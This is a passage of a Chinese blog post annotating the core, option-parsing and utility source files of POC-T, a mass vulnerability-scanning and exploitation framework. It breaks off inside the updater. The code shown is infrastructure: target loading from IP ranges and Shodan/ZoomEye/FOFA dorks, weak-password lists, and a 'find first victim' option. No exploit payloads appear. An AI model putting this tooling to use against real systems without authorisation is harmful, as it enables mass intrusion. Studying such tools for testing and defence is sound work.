本节续前面的第6节继续分析源代码:
core子目录————项目的核心
1、__init__.py(初始化)
2、common.py(公共函数脚本)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import os
import re
import sys
import time
import logging
import webbrowser
from lib.core.data import *
from lib.core.exception import *
from lib.core.log import LOGGER_HANDLER
from lib.core.settings import BANNER, UNICODE_ENCODING, NULL, INVALID_UNICODE_CHAR_FORMAT
from lib.core.convert import stdoutencode
from lib.core.enums import EXIT_STATUS, ENGINE_MODE_STATUS
from thirdparty.termcolor.termcolor import colored
from thirdparty.odict.odict import OrderedDict
#设置项目的路径
def setPaths():
"""
Sets absolute paths for project directories and files
"""
root_path = paths.ROOT_PATH
paths.DATA_PATH = os.path.join(root_path, "data")
paths.SCRIPT_PATH = os.path.join(root_path, "script")
paths.OUTPUT_PATH = os.path.join(root_path, "output")
paths.CONFIG_PATH = os.path.join(root_path, "toolkit.conf")
if not os.path.exists(paths.SCRIPT_PATH):
os.mkdir(paths.SCRIPT_PATH)
if not os.path.exists(paths.OUTPUT_PATH):
os.mkdir(paths.OUTPUT_PATH)
if not os.path.exists(paths.DATA_PATH):
os.mkdir(paths.DATA_PATH)
paths.WEAK_PASS = os.path.join(paths.DATA_PATH, "pass100.txt")
paths.LARGE_WEAK_PASS = os.path.join(paths.DATA_PATH, "pass1000.txt")
paths.UA_LIST_PATH = os.path.join(paths.DATA_PATH, "user-agents.txt")
if os.path.isfile(paths.CONFIG_PATH) and os.path.isfile(paths.WEAK_PASS) and os.path.isfile(
paths.LARGE_WEAK_PASS) and os.path.isfile(paths.UA_LIST_PATH):
pass
else:
msg = 'Some files missing, it may cause an issue.\n'
msg += 'Please use \'--update\' to get the complete program from github.com.'
raise ToolkitMissingPrivileges(msg)
#检查文件是否存在以及文件权限(读写权限)
def checkFile(filename):
"""
function Checks for file existence and readability
"""
valid = True
if filename is None or not os.path.isfile(filename):
valid = False
if valid:
try:
with open(filename, "rb"):
pass
except IOError:
valid = False
if not valid:
raise ToolkitSystemException("unable to read file '%s'" % filename)
#banner信息
def banner():
"""
Function prints banner with its version
"""
_ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False):
_ = re.sub("\033.+?m", "", _)
dataToStdout(_)
#输出流
def dataToStdout(data, bold=False):
"""
Writes text to the stdout (console) stream
"""
if conf.SCREEN_OUTPUT:
if conf.ENGINE is ENGINE_MODE_STATUS.THREAD:
logging._acquireLock()
if isinstance(data, unicode):
message = stdoutencode(data)
else:
message = data
sys.stdout.write(setColor(message, bold))
try:
sys.stdout.flush()
except IOError:
pass
if conf.ENGINE is ENGINE_MODE_STATUS.THREAD:
logging._releaseLock()
return
#颜色设置
def setColor(message, bold=False):
retVal = message
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold:
retVal = colored(message, color=None, on_color=None, attrs=("bold",))
return retVal
#进程
def pollProcess(process, suppress_errors=False):
"""
Checks for process status (prints > if still running)
"""
while True:
message = '>'
sys.stdout.write(message)
try:
sys.stdout.flush()
except IOError:
pass
time.sleep(1)
returncode = process.poll()
if returncode is not None:
if not suppress_errors:
if returncode == 0:
print " done\n"
elif returncode < 0:
print " process terminated by signal %d\n" % returncode
elif returncode > 0:
print " quit unexpectedly with return code %d\n" % returncode
break
def getSafeExString(ex, encoding=None):
"""
Safe way how to get the proper exception represtation as a string
(Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
"""
retVal = ex
if getattr(ex, "message", None):
retVal = ex.message
elif getattr(ex, "msg", None):
retVal = ex.msg
return getUnicode(retVal, encoding=encoding)
def getUnicode(value, encoding=None, noneToNull=False):
"""
Return the unicode representation of the supplied value:
>>> getUnicode(u'test')
u'test'
>>> getUnicode('test')
u'test'
>>> getUnicode(1)
u'1'
"""
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except Exception:
value = value[:ex.start] + "".join(
INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances
def isListLike(value):
"""
Returns True if the given value is a list-like instance
>>> isListLike([1, 2, 3])
True
>>> isListLike(u'2')
False
"""
return isinstance(value, (list, tuple, set))
#系统退出
def systemQuit(status=EXIT_STATUS.SYSETM_EXIT):
if status == EXIT_STATUS.SYSETM_EXIT:
logger.info('System exit.')
elif status == EXIT_STATUS.USER_QUIT:
logger.error('User quit!')
elif status == EXIT_STATUS.ERROR_EXIT:
logger.error('System exit.')
else:
raise ToolkitValueException('Invalid status code: %s' % str(status))
sys.exit(0)
#获取文件的内容
def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
"""
@function returns newline delimited items contained inside file
"""
retVal = list() if not unique else OrderedDict()
checkFile(filename)
try:
with open(filename, 'r') as f:
for line in (f.readlines() if unicode_ else f.xreadlines()):
# xreadlines doesn't return unicode strings when codecs.open() is used
if commentPrefix and line.find(commentPrefix) != -1:
line = line[:line.find(commentPrefix)]
line = line.strip()
if not unicode_:
try:
line = str.encode(line)
except UnicodeDecodeError:
continue
if line:
if lowercase:
line = line.lower()
if unique and line in retVal:
continue
if unique:
retVal[line] = True
else:
retVal.append(line)
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (filename, ex)
raise ToolkitSystemException(errMsg)
return retVal if not unique else retVal.keys()
#使用浏览器打开
def openBrowser():
path = conf.OUTPUT_FILE_PATH
try:
webbrowser.open_new_tab(path)
except Exception:
errMsg = '\n[ERROR] Fail to open file with web browser: %s' % path
raise ToolkitSystemException(errMsg)
3、convert.py(输出编码)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import sys
from lib.core.settings import IS_WIN, UNICODE_ENCODING
def singleTimeWarnMessage(message): # Cross-linked function
sys.stdout.write(message)
sys.stdout.write("\n")
sys.stdout.flush()
#对输出内容进行Unicode编码处理
def stdoutencode(data):
retVal = None
try:
data = data or ""
# Reference: http://bugs.python.org/issue1602
if IS_WIN:
output = data.encode(sys.stdout.encoding, "replace")
if '?' in output and '?' not in data:
warnMsg = "cannot properly display Unicode characters "
warnMsg += "inside Windows OS command prompt "
warnMsg += "(http://bugs.python.org/issue1602). All "
warnMsg += "unhandled occurances will result in "
warnMsg += "replacement with '?' character. Please, find "
warnMsg += "proper character representation inside "
warnMsg += "corresponding output files. "
singleTimeWarnMessage(warnMsg)
retVal = output
else:
retVal = data.encode(sys.stdout.encoding)
except Exception:
retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data
return retVal
4、data.py
5、datatype.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import copy
import types
from lib.core.exception import ToolkitDataException
class AttribDict(dict):
"""
This class defines the project object, inheriting from Python data
type dictionary.
>>> foo = AttribDict()
>>> foo.bar = 1
>>> foo.bar
1
"""
def __init__(self, indict=None, attribute=None):
if indict is None:
indict = {}
# Set any attributes here - before initialisation
# these remain as normal attributes
self.attribute = attribute
dict.__init__(self, indict)
self.__initialised = True
# After initialisation, setting attributes
# is the same as setting an item
def __getattr__(self, item):
"""
Maps values to attributes
Only called if there *is NOT* an attribute with this name
"""
try:
return self.__getitem__(item)
except KeyError:
raise ToolkitDataException("unable to access item '%s'" % item)
def __setattr__(self, item, value):
"""
Maps attributes to values
Only if we are initialised
"""
# This test allows attributes to be set in the __init__ method
if "_AttribDict__initialised" not in self.__dict__:
return dict.__setattr__(self, item, value)
# Any normal attributes are handled normally
elif item in self.__dict__:
dict.__setattr__(self, item, value)
else:
self.__setitem__(item, value)
def __getstate__(self):
return self.__dict__
def __setstate__(self, dict):
self.__dict__ = dict
def __deepcopy__(self, memo):
retVal = self.__class__()
memo[id(self)] = retVal
for attr in dir(self):
if not attr.startswith('_'):
value = getattr(self, attr)
if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
setattr(retVal, attr, copy.deepcopy(value, memo))
for key, value in self.items():
retVal.__setitem__(key, copy.deepcopy(value, memo))
return retVal
6、enums.py
7、exception(异常)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
class ToolkitBaseException(Exception):
pass
class ToolkitConnectionException(Exception):
pass
class ToolkitDataException(ToolkitBaseException):
pass
class ToolkitMissingPrivileges(ToolkitBaseException):
pass
class ToolkitUserQuitException(ToolkitBaseException):
pass
class ToolkitSystemException(ToolkitBaseException):
pass
class ToolkitValueException(ToolkitBaseException):
pass
class ToolkitPluginException(ToolkitBaseException):
pass
class RegisterException(Exception):
pass
class RegisterValueException(RegisterException):
pass
class RegisterDataException(RegisterException):
pass
class RegisterMutexException(RegisterException):
pass
8、log.py(日志:成功、提示、警告、错误)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import logging
import sys
from lib.core.enums import CUSTOM_LOGGING
logging.addLevelName(CUSTOM_LOGGING.SYSINFO, "*")
logging.addLevelName(CUSTOM_LOGGING.SUCCESS, "+")
logging.addLevelName(CUSTOM_LOGGING.ERROR, "-")
logging.addLevelName(CUSTOM_LOGGING.WARNING, "!")
LOGGER = logging.getLogger("TookitLogger")
LOGGER_HANDLER = None
try:
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
try:
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
LOGGER_HANDLER.level_map[logging.getLevelName("*")] = (None, "cyan", False)
LOGGER_HANDLER.level_map[logging.getLevelName("+")] = (None, "green", False)
LOGGER_HANDLER.level_map[logging.getLevelName("-")] = (None, "red", False)
LOGGER_HANDLER.level_map[logging.getLevelName("!")] = (None, "yellow", False)
except Exception:
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
except ImportError:
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("\r[%(levelname)s] %(message)s", "%H:%M:%S")
LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(CUSTOM_LOGGING.WARNING)
class MY_LOGGER:
@staticmethod
def success(msg):
return LOGGER.log(CUSTOM_LOGGING.SUCCESS, msg)
@staticmethod
def info(msg):
return LOGGER.log(CUSTOM_LOGGING.SYSINFO, msg)
@staticmethod
def warning(msg):
return LOGGER.log(CUSTOM_LOGGING.WARNING, msg)
@staticmethod
def error(msg):
return LOGGER.log(CUSTOM_LOGGING.ERROR, msg)
9、option.py(参数选项解析)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import os
import glob
import time
import sys
from lib.core.data import conf, paths, th, logger
from lib.core.enums import TARGET_MODE_STATUS, ENGINE_MODE_STATUS
from lib.utils.update import update
from lib.core.enums import API_MODE_NAME
from lib.core.register import Register
#初始化选项
def initOptions(args):
checkUpdate(args)
checkShow(args)
EngineRegister(args)
ScriptRegister(args)
TargetRegister(args)
ApiRegister(args)
Output(args)
Misc(args)
#检查框架的更新
def checkUpdate(args):
if args.sys_update:
update()
#初始化信息显示
def checkShow(args):
show_scripts = args.show_scripts
if show_scripts:
module_name_list = glob.glob(os.path.join(paths.SCRIPT_PATH, '*.py'))
msg = 'Script Name (total:%s)\n' % str(len(module_name_list) - 1)
for each in module_name_list:
_str = os.path.splitext(os.path.split(each)[1])[0]
if _str not in ['__init__']:
msg += ' %s\n' % _str
sys.exit(logger.info(msg))
#线程与进程初始化
def EngineRegister(args):
thread_status = args.engine_thread #线程
gevent_status = args.engine_gevent #协程
thread_num = args.thread_num #线程数
def __thread():
conf.ENGINE = ENGINE_MODE_STATUS.THREAD
def __gevent():
conf.ENGINE = ENGINE_MODE_STATUS.GEVENT
conf.ENGINE = ENGINE_MODE_STATUS.THREAD # default choice
msg = 'Use [-eT] to set Multi-Threaded mode or [-eG] to set Coroutine mode.'
r = Register(mutex=True, start=0, stop=1, mutex_errmsg=msg)
r.add(__thread, thread_status)
r.add(__gevent, gevent_status)
r.run()
if 0 < thread_num < 101:
th.THREADS_NUM = conf.THREADS_NUM = thread_num
else:
msg = 'Invalid input in [-t], range: 1 to 100'
sys.exit(logger.error(msg))
#脚本选项初始化
def ScriptRegister(args):
input_path = args.script_name
# handle input: nothing
if not input_path:
msg = 'Use -s to load script. Example: [-s spider] or [-s ./script/spider.py]'
sys.exit(logger.error(msg))
# handle input: "-s ./script/spider.py"
if os.path.split(input_path)[0]:
if os.path.exists(input_path):
if os.path.isfile(input_path):
if input_path.endswith('.py'):
conf.MODULE_NAME = os.path.split(input_path)[-1]
conf.MODULE_FILE_PATH = os.path.abspath(input_path)
else:
msg = '[%s] not a Python file. Example: [-s spider] or [-s ./script/spider.py]' % input_path
sys.exit(logger.error(msg))
else:
msg = '[%s] not a file. Example: [-s spider] or [-s ./script/spider.py]' % input_path
sys.exit(logger.error(msg))
else:
msg = '[%s] not found. Example: [-s spider] or [-s ./script/spider.py]' % input_path
sys.exit(logger.error(msg))
# handle input: "-s spider" "-s spider.py"
else:
if not input_path.endswith('.py'):
input_path += '.py'
_path = os.path.abspath(os.path.join(paths.SCRIPT_PATH, input_path))
if os.path.isfile(_path):
conf.MODULE_NAME = input_path
conf.MODULE_FILE_PATH = os.path.abspath(_path)
else:
msg = 'Script [%s] not exist. Use [--show] to view all available script in ./script/' % input_path
sys.exit(logger.error(msg))
#目标选项初始化
def TargetRegister(args):
input_file = args.target_file
input_single = args.target_single
input_network = args.target_network
input_array = args.target_array
api_zoomeye = args.zoomeye_dork
api_shodan = args.shodan_dork
api_google = args.google_dork
api_fofa = args.fofa_dork
def __file():
if not os.path.isfile(input_file):
msg = 'TargetFile not found: %s' % input_file
sys.exit(logger.error(msg))
conf.TARGET_MODE = TARGET_MODE_STATUS.FILE
conf.INPUT_FILE_PATH = input_file
def __array():
help_str = "Invalid input in [-iA], Example: -iA 1-100"
try:
_int = input_array.strip().split('-')
if int(_int[0]) < int(_int[1]):
if int(_int[1]) - int(_int[0]) > 1000000:
warnMsg = "Loading %d targets, Maybe it's too much, continue? [y/N]" % (
int(_int[1]) - int(_int[0]))
logger.warning(warnMsg)
a = raw_input()
if a in ('Y', 'y', 'yes'):
pass
else:
msg = 'User quit!'
sys.exit(logger.error(msg))
else:
sys.exit(logger.error(help_str))
except Exception:
sys.exit(logger.error(help_str))
conf.TARGET_MODE = TARGET_MODE_STATUS.RANGE
conf.I_NUM2 = input_array
conf.INPUT_FILE_PATH = None
#选项参数解析
def __network():
conf.TARGET_MODE = TARGET_MODE_STATUS.IPMASK
conf.NETWORK_STR = input_network
conf.INPUT_FILE_PATH = None
def __single():
conf.TARGET_MODE = TARGET_MODE_STATUS.SINGLE
conf.SINGLE_TARGET_STR = input_single
th.THREADS_NUM = conf.THREADS_NUM = 1
conf.INPUT_FILE_PATH = None
def __zoomeye():
conf.TARGET_MODE = TARGET_MODE_STATUS.API
conf.API_MODE = API_MODE_NAME.ZOOMEYE
conf.API_DORK = api_zoomeye
def __shodan():
conf.TARGET_MODE = TARGET_MODE_STATUS.API
conf.API_MODE = API_MODE_NAME.SHODAN
conf.API_DORK = api_shodan
def __google():
conf.TARGET_MODE = TARGET_MODE_STATUS.API
conf.API_MODE = API_MODE_NAME.GOOGLE
conf.API_DORK = api_google
def __fofa():
conf.TARGET_MODE = TARGET_MODE_STATUS.API
conf.API_MODE = API_MODE_NAME.FOFA
conf.API_DORK = api_fofa
msg = 'Please load targets with [-iS|-iA|-iF|-iN] or use API with [-aZ|-aS|-aG|-aF]'
r = Register(mutex=True, mutex_errmsg=msg)
r.add(__file, input_file)
r.add(__network, input_network)
r.add(__array, input_array)
r.add(__single, input_single)
r.add(__zoomeye, api_zoomeye)
r.add(__shodan, api_shodan)
r.add(__google, api_google)
r.add(__fofa, api_fofa)
r.run()
#api选项初始化
def ApiRegister(args):
search_type = args.search_type
offset = args.api_offset
google_proxy = args.google_proxy
api_limit = args.api_limit
if not 'API_MODE' in conf:
return
if not conf.API_DORK:
msg = 'Empty API dork, show usage with [-h]'
sys.exit(logger.error(msg))
if offset < 0:
msg = 'Invalid value in [--offset], show usage with [-h]'
sys.exit(logger.error(msg))
else:
conf.API_OFFSET = offset
# handle typeError in cmdline.py
if api_limit <= 0:
msg = 'Invalid value in [--limit], show usage with [-h]'
sys.exit(logger.error(msg))
else:
conf.API_LIMIT = api_limit
if conf.API_MODE is API_MODE_NAME.ZOOMEYE:
if search_type not in ['web', 'host']:
msg = 'Invalid value in [--search-type], show usage with [-h]'
sys.exit(logger.error(msg))
else:
conf.ZOOMEYE_SEARCH_TYPE = search_type
elif conf.API_MODE is API_MODE_NAME.GOOGLE:
conf.GOOGLE_PROXY = google_proxy
#输出
def Output(args):
output_file = args.output_path
file_status = args.output_file_status
screen_status = args.output_screen_status
browser = args.open_browser
if not file_status and output_file:
msg = 'Cannot use [-oF] and [-o] together, please read the usage with [-h].'
sys.exit(logger.error(msg))
if not file_status and browser:
msg = '[--browser] is based on file output, please remove [-oF] in your command and try again.'
sys.exit(logger.error(msg))
conf.SCREEN_OUTPUT = screen_status
conf.FILE_OUTPUT = file_status
conf.OUTPUT_FILE_PATH = os.path.abspath(output_file) if output_file else \
os.path.abspath(
os.path.join(
paths.OUTPUT_PATH, time.strftime(
'[%Y%m%d-%H%M%S]', time.localtime(
time.time())) + conf.MODULE_NAME + '.txt'))
def Misc(args):
conf.SINGLE_MODE = args.single_mode
conf.OPEN_BROWSER = args.open_browser
10、register.py(用于注册互斥的参数并给出错误提示)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
"""
用于注册互斥的参数并给出错误提示
Register()
start 最少通过量
stop 最大通过量
mutex 互斥开关
mutex_errmsg 错误提示
add()
perform 目标函数
trigger 触发条件
args 参数传入
kwargs 参数传入
Usage:
r = Register()
r.add(function1,1>1)
r.add(function2,2>1)
r.add(function3,3>1)
r.run()
"""
import types
import sys
from lib.core.data import logger
from lib.core.exception import RegisterDataException, RegisterMutexException, RegisterValueException
class Register:
def __init__(self, start=1, stop=1, mutex_errmsg=None, mutex=True):
self.targets = []
self.mutex = mutex
self.start = start
self.stop = stop
self.mutex_errmsg = mutex_errmsg
self.verified = []
def enable_mutex(self):
self.mutex = True
def set_mutex_errmsg(self, s):
self.mutex_errmsg = str(s)
def add(self, perform, trigger, args=(), kwargs=None):
if kwargs is None:
kwargs = {}
d = {'perform': perform, 'args': args, 'kwargs': kwargs, 'trigger': trigger}
self.targets.append(d)
self.__args = args
self.__kwargs = kwargs
def run(self):
self.__pretreat()
for target in self.verified:
if not target.get('perform'):
msg = 'Register has no verified target'
raise RegisterDataException(msg)
target.get('perform')(*target.get('args'), **target.get('kwargs'))
def __pretreat(self):
self.__input_vector_check()
for __target in self.targets:
__trigger = __target.get('trigger')
if type(__trigger) is types.BooleanType or type(__trigger) is types.StringType:
if __trigger:
self.verified.append(__target)
else:
msg = '[Trigger Type Error] Expected:boolean,found:' + str(type(__trigger))
raise RegisterValueException(msg)
self.__mutex_check()
def __mutex_check(self):
if self.mutex:
if len(self.verified) < self.start or len(self.verified) > self.stop:
if self.mutex_errmsg is None:
raise RegisterMutexException('mutex error,verified func count: ' + str(len(self.verified)))
else:
sys.exit(logger.error(self.mutex_errmsg))
def __input_vector_check(self):
if type(self.stop) is types.IntType and type(self.start) is types.IntType and type(
self.mutex) is types.BooleanType:
pass
else:
raise RegisterValueException('Register init func type error')
if len(self.targets) is 0:
msg = 'no target'
raise RegisterDataException(msg)
if self.start > self.stop:
msg = 'start > stop'
raise RegisterDataException(msg)
11、revision.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import os
import re
from subprocess import PIPE
from subprocess import Popen as execute
def getRevisionNumber():
"""
Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
"""
retVal = None
filePath = None
_ = os.path.dirname(__file__)
while True:
filePath = os.path.join(_, ".git", "HEAD")
if os.path.exists(filePath):
break
else:
filePath = None
if _ == os.path.dirname(_):
break
else:
_ = os.path.dirname(_)
while True:
if filePath and os.path.isfile(filePath):
with open(filePath, "r") as f:
content = f.read()
filePath = None
if content.startswith("ref: "):
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
else:
match = re.match(r"(?i)[0-9a-f]{32}", content)
retVal = match.group(0) if match else None
break
else:
break
if not retVal:
process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE)
stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
retVal = match.group(0) if match else None
return retVal[:7] if retVal else None
12、settings.py(设置)
parse子目录
1、__init__.py
2、cmdline.py(命令行中参数选项说明)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import argparse
import sys
from lib.core.settings import VERSION
def cmdLineParser():
parser = argparse.ArgumentParser(description='powered by cdxy ',
usage='python POC-T.py -s bingc -aZ "port:8080"',
add_help=False)
engine = parser.add_argument_group('ENGINE')
engine.add_argument('-eT', dest="engine_thread", default=False, action='store_true',
help='Multi-Threaded engine (default choice)')
engine.add_argument('-eG', dest="engine_gevent", default=False, action='store_true',
help='Gevent engine (single-threaded with asynchronous)')
engine.add_argument('-t', metavar='NUM', dest="thread_num", type=int, default=10,
help='num of threads/concurrent, 10 by default')
script = parser.add_argument_group('SCRIPT')
script.add_argument('-s', metavar='NAME', dest="script_name", type=str, default='',
help='load script by name (-s jboss-rce) or path (-s ./script/jboss.py)')
target = parser.add_argument_group('TARGET')
target.add_argument('-iS', metavar='TARGET', dest="target_single", type=str, default='',
help="scan a single target (e.g. www.wooyun.org)")
target.add_argument('-iF', metavar='FILE', dest="target_file", type=str, default='',
help='load targets from targetFile (e.g. ./data/wooyun_domain)')
target.add_argument('-iA', metavar='START-END', dest="target_array", type=str, default='',
help='generate array from int(start) to int(end) (e.g. 1-100)')
target.add_argument('-iN', metavar='IP/MASK', dest="target_network", type=str, default='',
help='generate IP from IP/MASK. (e.g. 127.0.0.0/24)')
api = parser.add_argument_group('API')
api.add_argument('-aZ', '--zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='',
help='ZoomEye dork (e.g. "zabbix port:8080")')
api.add_argument('-aS', '--shodan', metavar='DORK', dest="shodan_dork", type=str, default='',
help='Shodan dork.')
api.add_argument('-aG', '--google', metavar='DORK', dest="google_dork", type=str, default='',
help='Google dork (e.g. "inurl:admin.php")')
api.add_argument('-aF', '--fofa', metavar='DORK', dest="fofa_dork", type=str, default='',
help='FoFa dork (e.g. "banner=users && protocol=ftp")')
api.add_argument('--limit', metavar='NUM', dest="api_limit", type=int, default=10,
help='Maximum searching results (default:10)')
api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0,
help="Search offset to begin getting results from (default:0)")
api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host',
help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)")
api.add_argument('--gproxy', metavar='PROXY', dest="google_proxy", action="store", default=None,
help="[Google] Use proxy for Google (e.g. \"sock5 127.0.0.1 7070\" or \"http 127.0.0.1 1894\"")
output = parser.add_argument_group('OUTPUT')
output.add_argument('-o', metavar='FILE', dest="output_path", type=str, default='',
help='output file path&name. default in ./output/')
output.add_argument('-oF', '--no-file', dest="output_file_status", default=True, action='store_false',
help='disable file output')
output.add_argument('-oS', '--no-screen', dest="output_screen_status", default=True, action='store_false',
help='disable screen output')
misc = parser.add_argument_group('MISC')
misc.add_argument('--single', dest="single_mode", default=False, action='store_true',
help='exit after finding the first victim/password.')
misc.add_argument('--show', dest="show_scripts", default=False, action='store_true',
help='show available script names in ./script/ and exit')
misc.add_argument('--browser', dest="open_browser", default=False, action='store_true',
help='Open notepad or web browser to view report after task finished.')
system = parser.add_argument_group('SYSTEM')
system.add_argument('-v', '--version', action='version', version=VERSION,
help="show program's version number and exit")
system.add_argument('-h', '--help', action='help',
help='show this help message and exit')
system.add_argument('--update', dest="sys_update", default=False, action='store_true',
help='update POC-T from github source')
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
return args
utils子目录
1、__init__.py
2、config.py(配置:各个平台API的认证参数)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import ConfigParser
from lib.core.data import paths, logger
from lib.core.common import getSafeExString
class ConfigFileParser:
@staticmethod
def _get_option(section, option):
try:
cf = ConfigParser.ConfigParser()
cf.read(paths.CONFIG_PATH)
return cf.get(section=section, option=option)
except ConfigParser.NoOptionError, e:
logger.warning('Missing essential options, please check your config-file.')
logger.error(getSafeExString(e))
return ''
def ZoomEyeEmail(self):
return self._get_option('zoomeye', 'email')
def ZoomEyePassword(self):
return self._get_option('zoomeye', 'password')
def ShodanApikey(self):
return self._get_option('shodan', 'api_key')
def BingApikey(self):
return self._get_option('bing', 'api_key')
def CloudEyeApikey(self):
return self._get_option('cloudeye', 'api_key')
def ColudEyePersonaldomain(self):
return self._get_option('cloudeye', 'personal_domain')
def GoogleProxy(self):
return self._get_option('google', 'proxy')
def GoogleDeveloperKey(self):
return self._get_option('google', 'developer_key')
def GoogleEngine(self):
return self._get_option('google', 'search_engine')
def FofaEmail(self):
return self._get_option('fofa','email')
def FofaKey(self):
return self._get_option('fofa','api_key')
3、console.py(终端配置:分linux和window两类)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
"""
getTerminalSize()
- get width and height of console
- works on linux,os x,windows,cygwin(windows)
"""
import os
__all__ = ['getTerminalSize']
def getTerminalSize():
import platform
current_os = platform.system()
tuple_xy = None
if current_os == 'Windows':
tuple_xy = _getTerminalSize_windows()
if tuple_xy is None:
tuple_xy = _getTerminalSize_tput()
# needed for window's python in cygwin's xterm!
if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'):
tuple_xy = _getTerminalSize_linux()
if tuple_xy is None:
print "default"
tuple_xy = (80, 25) # default value
return tuple_xy
def _getTerminalSize_windows():
res = None
try:
from ctypes import windll, create_string_buffer
# stdin handle is -10
# stdout handle is -11
# stderr handle is -12
h = windll.kernel32.GetStdHandle(-12)
csbi = create_string_buffer(22)
res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
except Exception:
return None
if res:
import struct
(bufx, bufy, curx, cury, wattr,
left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
sizex = right - left + 1
sizey = bottom - top + 1
return sizex, sizey
else:
return None
def _getTerminalSize_tput():
# get terminal width
# src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
try:
import subprocess
proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = proc.communicate(input=None)
cols = int(output[0])
proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = proc.communicate(input=None)
rows = int(output[0])
return (cols, rows)
except Exception:
return None
def _getTerminalSize_linux():
def ioctl_GWINSZ(fd):
try:
import fcntl, termios, struct
cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
except Exception:
return None
return cr
cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
if not cr:
try:
fd = os.open(os.ctermid(), os.O_RDONLY)
cr = ioctl_GWINSZ(fd)
os.close(fd)
except Exception:
pass
if not cr:
try:
cr = (env.get('LINES'), env.get('COLUMNS'))
except Exception:
return None
return int(cr[1]), int(cr[0])
if __name__ == "__main__":
sizex, sizey = getTerminalSize()
print 'width =', sizex, 'height =', sizey
4、update.py(框架整体更新)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import locale
import os
import re
import sys
from subprocess import PIPE
from subprocess import Popen as execute
from lib.core.common import getSafeExString
from lib.core.common import pollProcess
from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN
from lib.core.revision import getRevisionNumber
def update():
success = False
if not os.path.exists(os.path.join(paths.ROOT_PATH, ".git")):
errMsg = "not a git repository. Please checkout the 'Xyntax/POC-T' repository "
errMsg += "from GitHub (e.g. 'git clone https://github.com/Xyntax/POC-T.git POC-T')"
logger.error(errMsg)
else:
infoMsg = "updating POC-T to the latest development version from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
debugMsg = "POC-T will try to update itself using 'git' command"
logger.info(debugMsg)
logger.info("update in progress ")
try:
process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE,
stderr=PIPE, cwd=paths.ROOT_PATH.encode(
locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
pollProcess(process, True)
stdout, stderr = process.communicate()
success = not process.returncode
except (IOError, OSError), ex:
success = False
stderr = getSafeExString(ex)
if success:
_ = getRevisionNumber()
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
else:
if "Not a git repository" in stderr:
